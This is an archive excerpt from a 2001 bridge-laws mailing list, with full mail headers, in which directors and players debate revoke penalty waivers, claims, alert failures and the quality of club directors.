[164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id NAA09380; Mon, 29 Jan 2001 13:38:48 +0100 (MET) for Message-Id: <3.0.6.32.20010129134033.008411a0@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Mon, 29 Jan 2001 13:40:33 +0100 To: "David Burn" , "Bridge Laws" From: alain gottcheiner Subject: Re: [BLML] Cap Gemini shows the way In-Reply-To: <000701c0893f$9136b340$d7bb7ad5@pbncomputer> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 15:32 28/01/01 -0000, David Burn wrote: >Extract from Bulletin 1 from the recent Cap Gemini tournament in the >Netherlands: > >At most tables, the contract was 4H which went down one. Forrester - >Helgemo were in 4H as well, Chemla - Levy defending. Superficially >looking at it, one would say that declarer stands no chance, but the >prospects changed dramatically when Chemla revoked during the play of >the hand. In a tournament of this standard, players would not call the >director, but rather invite their opponents to correct the revoke and >waive the penalty card. That's exactly what happened at this gentlemen's >table, but it is interesting to see that Forrester might have made his >contract had he imposed the Law. > >Comments on an electronic postcard. AG : if the decision to waive the penalty affected the ranking of any other team (ie, this was a round-robin match, rather than a hand-to-hand match), most would disagree. Of course, this was not a Championship, but even so I don't think you are to allow your opponents any more leeway with some lapses (eg revokes) than others (bad bids or plays). A. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 29 23:48:17 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TCm9I14722 for bridge-laws-outgoing; Mon, 29 Jan 2001 23:48:09 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TCm2t14718 for ; Mon, 29 Jan 2001 23:48:02 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id NAA09536; Mon, 29 Jan 2001 13:43:54 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id NAA15916; Mon, 29 Jan 2001 13:47:47 +0100 (MET) for Message-Id: <3.0.6.32.20010129134932.007c0c60@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Mon, 29 Jan 2001 13:49:32 +0100 To: "Hirsch Davis" , "BLML" From: alain gottcheiner Subject: Re: [BLML] Cap Gemini shows the way In-Reply-To: <000a01c08973$83ffd600$0200000a@mindspring.com> References: <000701c0893f$9136b340$d7bb7ad5@pbncomputer> <004401c08968$1f2b2820$3901ff3e@vnmvhhid> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 16:44 28/01/01 -0500, Hirsch Davis wrote: >I don't find the behavior inexcusable, nor do I think the players were >trying to place themselves above the law. They were simply trying to >win by virtue of their skill at the table, as opposed to winning via a >legal technicality. > >This clearly gives the TD the right to waive a penalty, so one way to >approach the revoke would have been to summon the TD and request a >waiver of penalty. AG : I would like the next edition of the Laws to include a paragraph (it could be 10A2) which would explicitly allow the NOS to suggest a waiver when it appears that the infraction had no influence at all, and state that there is no moral obligation to do so. It would let the TD time to think over the case, ie is it absolutely certain that no damage was done ? L81 is too far in the book and doesn't explicitly give the NOS this right. Alain. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 29 23:50:54 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TColw14735 for bridge-laws-outgoing; Mon, 29 Jan 2001 23:50:47 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TCoft14731 for ; Mon, 29 Jan 2001 23:50:41 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id NAA10527; Mon, 29 Jan 2001 13:46:32 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id NAA18334; Mon, 29 Jan 2001 13:50:25 +0100 (MET) for Message-Id: <3.0.6.32.20010129135210.00830740@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Mon, 29 Jan 2001 13:52:10 +0100 To: "Kooijman, A." , bridge-laws@rgb.anu.edu.au From: alain gottcheiner Subject: RE: [BLML] Cap Gemini shows the way In-Reply-To: <67378DEA146DD21194C20000F87B08BA01B8B799@fdwag002s.fd.agro .nl> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 09:15 29/01/01 +0100, you wrote: > >Grattan wrote: 'Unusual for a couple of comedians to sponsor a bridge >tournament' and had the aforism: 'Speak when you are angry and you'll make >the best speech you'll ever regret'. >I consider Cap Gemini as a very serious sponsor. Was Grattan that angry? AG : perhaps he considered 'Gemini' to mean Castor and Pollux ? -<:-P -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 29 23:52:47 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TCqgf14747 for bridge-laws-outgoing; Mon, 29 Jan 2001 23:52:42 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stmpy-1.cais.net (stmpy-1.cais.net [205.252.14.71]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TCqat14743 for ; Mon, 29 Jan 2001 23:52:37 +1100 (EST) Received: from elandau.cais.com (207-176-64-97.dup.cais.net [207.176.64.97]) by stmpy-1.cais.net (8.11.1/8.11.1) with ESMTP id f0TCqV842699 for ; Mon, 29 Jan 2001 07:52:32 -0500 (EST) Message-Id: <4.3.2.7.1.20010128180349.00b3d830@127.0.0.1> X-Sender: elandau/pop.cais.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 29 Jan 2001 07:54:25 -0500 To: Bridge Laws Discussion List From: Eric Landau Subject: Re: [BLML] Claim? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Last night I played with an inexperienced partner at a local duplicate. We bid to 5C on xxx/Ax/AKx/Kxxxx opposite QJxx/-/xxx/Axxxxx. LHO lead HK. On putting down the dummy, partner said "I hope I didn't bid too much, partner" and I replied "Don't worry, we're going to make five" (neither intended nor taken by anyone at the table as a claim). I pitched a diamond, won HA, drew trumps and stripped the red suits. Down to xxx/-/-/xx opposite QJxx/-/-/x, I led a spade toward dummy, said "jack", faced my hand, and said "making five" (now THAT was a claim). RHO, holding SAK10, looked at dummy for 10-15 seconds, said "I see, if I don't take my second spade now I'll have to give you a ruff-sluff," and folded his cards. Now suppose my RHO had been one of those mean nasty BLs, and had called the TD at my first comment, insisting I had claimed. I guarantee that the TD would have allowed me to explain my (rather obvious) line and would NOT have ruled down one, as he would have (correctly) had I, in his opinion, claimed at trick one without stating a line of play. If the BL made any further objection, citing TFLB, the TD would have made it clear to him that such behavior was not welcome at his club. There are those on BLML who would say that we were not playing duplicate bridge as defined by its laws. My answer is that if we were not playing duplicate bridge as defined by its laws, there was nobody in that so-called duplicate bridge club who would have had any further interest in playing duplicate bridge as defined by its laws. And that's what this thread is about. Eric Landau elandau@cais.com APL Solutions, Inc. elandau@acm.org 1107 Dale Drive (301) 589-4621 Silver Spring MD 20910-1607 Fax (301) 589-4618 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 00:05:05 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TD4ka15226 for bridge-laws-outgoing; Tue, 30 Jan 2001 00:04:46 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TD4ct15192 for ; Tue, 30 Jan 2001 00:04:39 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id OAA14929; Mon, 29 Jan 2001 14:00:31 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id OAA28858; Mon, 29 Jan 2001 14:04:24 +0100 (MET) for Message-Id: <3.0.6.32.20010129140609.00833c50@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Mon, 29 Jan 2001 14:06:09 +0100 To: "Marvin L. French" , From: alain gottcheiner Subject: Re: [BLML] Cincinnati NABC Appeal 36 In-Reply-To: <004c01c08834$dc6d4740$9a9c1e18@san.rr.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 23:41 26/01/01 -0800, Marvin L. French wrote: >Dealer West > > S- K5 > H- A6 > D- Q104 > C- J98632 > >S- QJ10983 S-7 >H- 1097 H- KQJ843 >D- 982 D- A75 >C- 5 C- K74 > > S- A642 > H- 52 > D- KJ63 > C- AQ10 > >The bidding: > >West North East South >2S P 3H* all pass > >The Facts: 3H went down one, +50 for N/S. The Director was called after trick >two. North asked after her final pass about 3H and was told by the bidder that >it was non-forcing. The Director was not called at that time. West paused 3-4 >seconds before passing 3H. Had the Director been called before the final pass, >N/S would likely have had the opportunity to enter the auction at their own >risk. The Director allowed the table result to stand. > >The Appeal: N/S appealed the Director's ruling. South said if he had known 3H >was non-forcing, he would have entered the auction with a double and N/S would >have reached 5C. South, a Life Master, indicated that he did not know he was >supposed to call the Director at that time. E/W agreed that the 3H bid had not >been Alerted but believed that South had an opportunity to bid and that any >damage had not been because West neglected to Alert. AG : any of us, specialists of the Laws IMOCO, would have understood after West's pass that their partner had been deprived of a possiblility to bid. They would have called immediately. This would have been better for two reasons : 1) the complexities of the TD call, AC hearing etc. would have been made lighter ; and 2) they would be free of any suspicion of 'result recapturig' (calque from French) or whatever you call it. The problem is, South's double is far from clear (I wouldn't have made it), which means that by postponing their call, N/S had more rights. If the TD had been called immediately, South would have got his chance - equity restored. When he was called late, N/S had the benefit of the best reasonable result, which is very advantageous to them. This sounds badly wrong, but the culprit is the text of the laws, not N/S. Adjust the score, tell N/S they should have called ASAP, and curse TFLB. A. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 00:44:25 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TDhGS26386 for bridge-laws-outgoing; Tue, 30 Jan 2001 00:43:16 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stmpy-1.cais.net (stmpy-1.cais.net [205.252.14.71]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TDh9t26350 for ; Tue, 30 Jan 2001 00:43:10 +1100 (EST) Received: from elandau.cais.com (207-176-64-97.dup.cais.net [207.176.64.97]) by stmpy-1.cais.net (8.11.1/8.11.1) with ESMTP id f0TDh6845581 for ; Mon, 29 Jan 2001 08:43:06 -0500 (EST) Message-Id: <4.3.2.7.1.20010129083913.00a95580@127.0.0.1> X-Sender: elandau/pop.cais.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 29 Jan 2001 08:44:59 -0500 To: Bridge Laws Discussion List From: Eric Landau Subject: RE: [BLML] Claim? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 03:52 PM 1/25/01, Laval_DUBREUIL wrote: >I hope good club directors are able to give most of their >rulings without consulting the lawbook...)) I believe that the very best club directors are able to give most of their rulings without consulting the lawbook, but nevertheless do not do so. Eric Landau elandau@cais.com APL Solutions, Inc. elandau@acm.org 1107 Dale Drive (301) 589-4621 Silver Spring MD 20910-1607 Fax (301) 589-4618 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 01:10:54 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TEAee06095 for bridge-laws-outgoing; Tue, 30 Jan 2001 01:10:40 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cobalt1-he.global.net.uk (cobalt1-he.global.net.uk [195.147.246.161]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TEAWt06047 for ; Tue, 30 Jan 2001 01:10:33 +1100 (EST) Received: from p11s09a09.client.global.net.uk ([195.147.105.18] helo=pacific) by cobalt1-he.global.net.uk with smtp (Exim 2.12 #1) id 14NEwa-0003fg-00; Mon, 29 Jan 2001 06:06:08 -0800 Message-ID: <000601c089fd$275b4d00$126993c3@pacific> From: "Grattan Endicott" To: "David Stevenson" , References: <010701c0865f$c95e7600$bf1c40d5@oemcomputer> Subject: Re: SV: SV: [BLML] Fw: wbf brown sticker question Date: Fri, 26 Jan 2001 14:58:29 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott ----- Original Message ----- From: David Stevenson To: Sent: 25 January 2001 15:56 Subject: Re: SV: SV: [BLML] Fw: wbf brown sticker question I agreeIt is not illogical to have a specific exception. The WBF has had it for many years. Attempts to get around the regulation seem pointless. +=+ I do not think Peter is looking to 'get around the regulation'. I am sure that, disagreeing with it, nevertheless he understands and accepts that is the way it is. ~ Grattan ~ +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 01:47:23 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TEkjj19063 for bridge-laws-outgoing; Tue, 30 Jan 2001 01:46:45 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from protactinium ([194.73.73.176]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TEkdt19018 for ; Tue, 30 Jan 2001 01:46:39 +1100 (EST) Received: from [213.1.157.42] (helo=pbncomputer) by protactinium with smtp (Exim 3.03 #83) id 14NFZi-0003Df-00 for bridge-laws@rgb.anu.edu.au; Mon, 29 Jan 2001 14:46:34 +0000 Message-ID: <000d01c08a02$435fe6a0$2a9d01d5@pbncomputer> From: "David Burn" To: References: <033d01c0875a$746bc480$9a9c1e18@san.rr.com> Subject: Re: [BLML] Exposed Card before auction begins (?) Date: Mon, 29 Jan 2001 14:46:21 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk DWS wrote: > >> Incidentally, what would you think if someone was described as > >> Pickwickian? > >> > >Don't take it personally, David. I'm sure no offense was intended. > > I have no idea whether offense was intended because I do not know what > it means. That is why I asked. Mr Pickwick, the central character in Charles Dickens's first novel "The Pickwick Papers", was a rotund and generous fellow who, together with his associates in the Pickwick Club, embarked on a series of journeys around England which are the focus of the narrative. His views on the laws of duplicate contract bridge are unknown, though his philosophy may perhaps be gathered from this extract: "It's always best on these occasions to do what the mob do". "But suppose there are two mobs?" suggested Mr Snodgrass. "Shout with the largest", replied Mr Pickwick. To describe a person as "Pickwickian" is in no sense an insult - rather the reverse. From my personal knowledge of Mr Stevenson, I would say that the adjective is entirely appropriate. David Burn London, England -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 01:51:24 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TEpIX20667 for bridge-laws-outgoing; Tue, 30 Jan 2001 01:51:18 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cobalt1-he.global.net.uk (cobalt1-he.global.net.uk [195.147.246.161]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TEpAt20622 for ; Tue, 30 Jan 2001 01:51:11 +1100 (EST) Received: from p16s06a09.client.global.net.uk ([195.147.102.23] helo=pacific) by cobalt1-he.global.net.uk with smtp (Exim 2.12 #1) id 14NFZk-0006H7-00; Mon, 29 Jan 2001 06:46:36 -0800 Message-ID: <002101c08a02$ce9c6ea0$126993c3@pacific> From: "Grattan Endicott" To: "Kooijman, A." Cc: "David Burn" , "bridge-laws" References: <67378DEA146DD21194C20000F87B08BA01B8B799@fdwag002s.fd.agro.nl> Subject: Re: [BLML] Cap Gemini shows the way Date: Mon, 29 Jan 2001 14:47:55 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott ----- Original Message ----- From: Kooijman, A. To: 'David Burn' ; Bridge Laws Sent: 29 January 2001 08:15 Subject: RE: [BLML] Cap Gemini shows the way > > Grattan wrote: 'Unusual for a couple of comedians to sponsor a bridge tournament' and had the aforism: 'Speak when you are angry and you'll make the best speech you'll ever regret'. > > I consider Cap Gemini as a very serious sponsor. Was Grattan that angry? > +=+ Not in the least angry: cool and serious in defence of the laws of the game. Do not be misled by the superficial mocking style. I would not believe that you, ton, nor any significant European Director could be anywhere near such an incident and not act ~ Grattan ~ +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 02:23:07 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TFMpi01796 for bridge-laws-outgoing; Tue, 30 Jan 2001 02:22:51 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out2.be.uu.net (bru5-smtp-out2.uunet.be [194.7.1.6]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TFMgt01782 for ; Tue, 30 Jan 2001 02:22:43 +1100 (EST) Received: from village.uunet.be (uu212-190-6-139.unknown.uunet.be [212.190.6.139]) by bru5-smtp-out2.be.uu.net (8.11.2/8.11.2) with ESMTP id f0TFMct21325 for ; Mon, 29 Jan 2001 16:22:38 +0100 (MET) Message-ID: <3A755E28.9690ABCD@village.uunet.be> Date: Mon, 29 Jan 2001 13:12:24 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] Cap Gemini shows the way References: <000701c0893f$9136b340$d7bb7ad5@pbncomputer> <004401c08968$1f2b2820$3901ff3e@vnmvhhid> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Anne Jones wrote: > > I think it is inexcusable that players of high standard consider > themselves to be above and beyond the law. They are the ambassadors of > the game, and this is no way to teach lesser mortals how they should > behave. > Anne > I wholeheartedly concur with this. Inexcusable. Next time my opponent revokes, and I want to score up the trick, he'll say "Forrester allowed it to Chemla". And next time I revoke, am I not to give myself the penalty ? -- Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 02:23:07 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TFMne01795 for bridge-laws-outgoing; Tue, 30 Jan 2001 02:22:49 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out2.be.uu.net (bru5-smtp-out2.uunet.be [194.7.1.6]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TFMet01766 for ; Tue, 30 Jan 2001 02:22:41 +1100 (EST) Received: from village.uunet.be (uu212-190-6-139.unknown.uunet.be [212.190.6.139]) by bru5-smtp-out2.be.uu.net (8.11.2/8.11.2) with ESMTP id f0TFMat21291 for ; Mon, 29 Jan 2001 16:22:36 +0100 (MET) Message-ID: <3A755CEA.3EF855E9@village.uunet.be> Date: Mon, 29 Jan 2001 13:07:06 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] Consistent Claim Adjudication References: <007201c08976$7bc18440$7d0fac89@SERCDEMOnote> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk I have snipped quite a lot in what Peter Newman wrote: > > > The part that really worries me about this claim is that we will never know > what this declarer was going to do - they had already done one thing which > could be considered irrational (miscounting clubs) - which they are assumed > not to do after the claim...but we can't help that - it is the law. > > The particular declarer in question didn't give me the impression that she > would have had the slightest idea about re-entry back to hand with the spade > 10. [Perhaps it would be a better problem if she hadn't had the S10] Yet > here is the director based on only seeing the last 6 tricks making > assumptions as to the level of the player - fine in theory but in practise > how do you tell. > There are two quite separate issues here. One is that of consistency. I believe that the example given here proves that consistency is attainable. Even after reading lots of posts concerned with the problem as stated, I don't see any disagreement among the directors on this list. Sometimes blml threads give the appearance that there is no consistency in dealing with claims. This happens because very once in a while, somewhere around the world, a very difficult claim crops up. That claim makes it way to blml and we discuss it for half a year (or more). But next to that one claim, there are thousands out there that pose no problems to any qualified director, and that never make it to blml. Then there are a few dozens that do make it to blml, and quite often all of us are on the same track. To recapitulate, I do not believe that consistency is a problem. Peter drags in a second issue : how can we tell the level of the players. He is worried that this is a problem for the director and the AC. I do not believe his worrying is valid. In several types of cases, the TD and AC have difficult decisions to make. That's what they're there for. When a minimum of 4 people have had their say and vote, don't you think that on average the decisions are about right ? And just look at the alternative : an environment in which all claims are dealt with equally harshly. Well, perhaps in such an environment, Belgium would have played the semifinals in Maastricht. But also in such an environment, Gunnar Halberg would not be playing in the English team. (No David, no sarcastic comments needed) -- Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 02:27:17 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TFR8g01820 for bridge-laws-outgoing; Tue, 30 Jan 2001 02:27:08 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from Amnesix.UQSS.UQuebec.CA (Amnesix.UQSS.UQuebec.CA [192.77.51.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TFR0t01816 for ; Tue, 30 Jan 2001 02:27:02 +1100 (EST) Received: from Panoramix.UQSS.UQuebec.ca (Panoramix.UQSS.UQuebec.CA [192.77.51.2]) by Amnesix.UQSS.UQuebec.CA (8.9.3 (PHNE_18979)/8.9.3) with ESMTP id KAA11986; Mon, 29 Jan 2001 10:25:25 -0500 (EST) Received: from localhost by Panoramix.UQSS.UQuebec.ca with ESMTP (1.40.112.8/15.6) id AA231521924; Mon, 29 Jan 2001 10:25:24 -0500 X-Openmail-Hops: 1 Date: Mon, 29 Jan 2001 10:25:22 -0500 Message-Id: Subject: RE: [BLML] Claim? Mime-Version: 1.0 From: Laval_DUBREUIL@UQSS.UQuebec.CA To: bridge-laws@rgb.anu.edu.au, john@probst.demon.co.uk, nford@mail.cswnet.com Content-Type: text/plain; charset=ISO-8859-1 Content-Disposition: inline ;Creation-Date="Mon, 29 Jan 2001 10:25:21 -0500" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by rgb.anu.edu.au id f0TFR5t01817 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Nelson Ford wrote: I have polled TDs around here (quite a few in one club with about 800 members, and a couple at another club), and it may be hard to believe, but only the head TD at the large club knew that there is a difference between disposing of major and minor penalty cards. I have not polled as many, but have asked a few who did not now about not being able to make conventional bids sufficient without penalty. Here's the level of TD Law expertise around here -- I called a TD and told her I wanted to protest a claim. Her instructions were to play on. When I see this particular TD coming without a Law book in hand, I figure that the odds of getting a correct ruling are nil. At least when she has the book, I can suggest where she should look in it. ____________________________________________________________ As a player, I know that what you say is so true. ACBL club directors have an easy "True or False" exam and they receive no other instruction or help after that. They do what they can, but a lot of then cannot correctly apply most easy Laws, as you pointed out below. Unfortunatly those coming with their lawbook are not better and loose so time searching the pertinent Laws and trying to understand them at that moment. This is why my first message told "I hope some good club directos are able to rule without the lawbook...". Having the lawbook in hand is not enough to pretend beeing a director. In many clubs around here, managers smoothly tried for years to convince players it is not a so good idea to call the director. A pity. I have seen this since 30 years and it why I begun learning Laws as a player before becoming director. As I hardly try to understand and correctly apply Laws in my club, I have been told I stress some other local club directors....life was so much easier. Ok, you convinced me. I will have my lawbook near by, and try to open it (except on most usual cases as OOLOT). But the problem of ACBL club directors will remain entire: lack of formation. But.. may be most prefer the actual pattern. Thay are able to set the movement, let players have fun and hope they will settle their problems between them. Laval Du Breuil Quebec City -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 02:54:55 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TFs8w04400 for bridge-laws-outgoing; Tue, 30 Jan 2001 02:54:08 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hotmail.com (oe3.law8.hotmail.com [216.33.240.107]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TFs1t04359 for ; Tue, 30 Jan 2001 02:54:02 +1100 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 29 Jan 2001 07:53:53 -0800 X-Originating-IP: [63.39.60.196] From: "Roger Pewick" To: "blml" References: <4.3.2.7.1.20010128180349.00b3d830@127.0.0.1> Subject: Re: [BLML] Claim? Date: Mon, 29 Jan 2001 09:57:06 -0600 